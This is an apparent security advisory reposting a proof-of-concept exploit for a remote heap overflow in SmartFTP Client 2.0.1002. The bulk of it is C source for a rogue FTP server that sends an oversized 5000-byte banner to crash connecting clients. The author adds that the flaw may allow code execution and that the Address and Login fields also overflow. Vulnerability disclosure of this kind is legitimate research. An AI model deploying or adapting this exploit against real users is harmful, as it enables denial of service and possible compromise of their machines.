[EXPL] SmartFTP Client Heap Overflow DoS (Exploit)

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  SmartFTP Client Heap Overflow DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

There is remote heap overflow in SmartFTP. When the application receives a 
long banner the heap is smashed, leading to DoS and probably to code 
execution.

DETAILS

Vulnerable Systems:
 * SmartFTP Client version 2.0.1002

Exploit:
/*************************************
*              SmartFTP Client v 2.0.1002 Heap Overflow DoS                
*
*                                                                          
*
*                                                                          
*
* There is remote heap overflow in SmartFTP. When the app receives a long  
*
* banner (5000 char) the heap is smashed, leading to DoS and to code       
*
* execution.                                                               
*
*                                                                          
*
* There are also two buffer overflow in the fields Address and Login.      
*
* I've reported this to Secunia but it seems they didn't think it was dan- 
*
* gerous cause they didn't publish anything about. However a simple drag'n 
*
* drop could compromise your system...                                     
*
*                                                                          
*
* Have Fun!                                                                
*
*                                                                          
*
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                              
*
**************************************



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

        char evilbuff[5000];
        sockaddr_in sin;
        int server,client;
        WSADATA wsaData;
        WSAStartup(MAKEWORD(1,1), &wsaData);

        server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        sin.sin_family = PF_INET;
        sin.sin_addr.s_addr = htonl(INADDR_ANY);
        sin.sin_port = htons( 21 );
        bind(server,(SOCKADDR*)&sin,sizeof(sin));
        printf("[*] Listening on port 21...\n");
        listen(server,5);
        printf("[*] Waiting for client ...\n");
        client=accept(server,NULL,NULL);
        printf("[+] Client connected\n");

        memset(evilbuff,'A',5000);
        memcpy(evilbuff,"220 ",4);
        memcpy(evilbuff+4997,"\r\n\0",3);

        if (send(client,evilbuff,strlen(evilbuff),0)==-1)
        {
                printf("[-] Error in send!\n");
                exit(-1);
        }
        printf("[+] Data sent\n");

        Sleep(1500);

        if (send(client,"boom?",5,0)==-1)
            printf("[+] Crashed? Crashed!\n");
        else
                printf("[-] Exploit failed!\n");

        return 0;
}


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:  
<http://www.milw0rm.com/exploits/3277> 
http://www.milw0rm.com/exploits/3277



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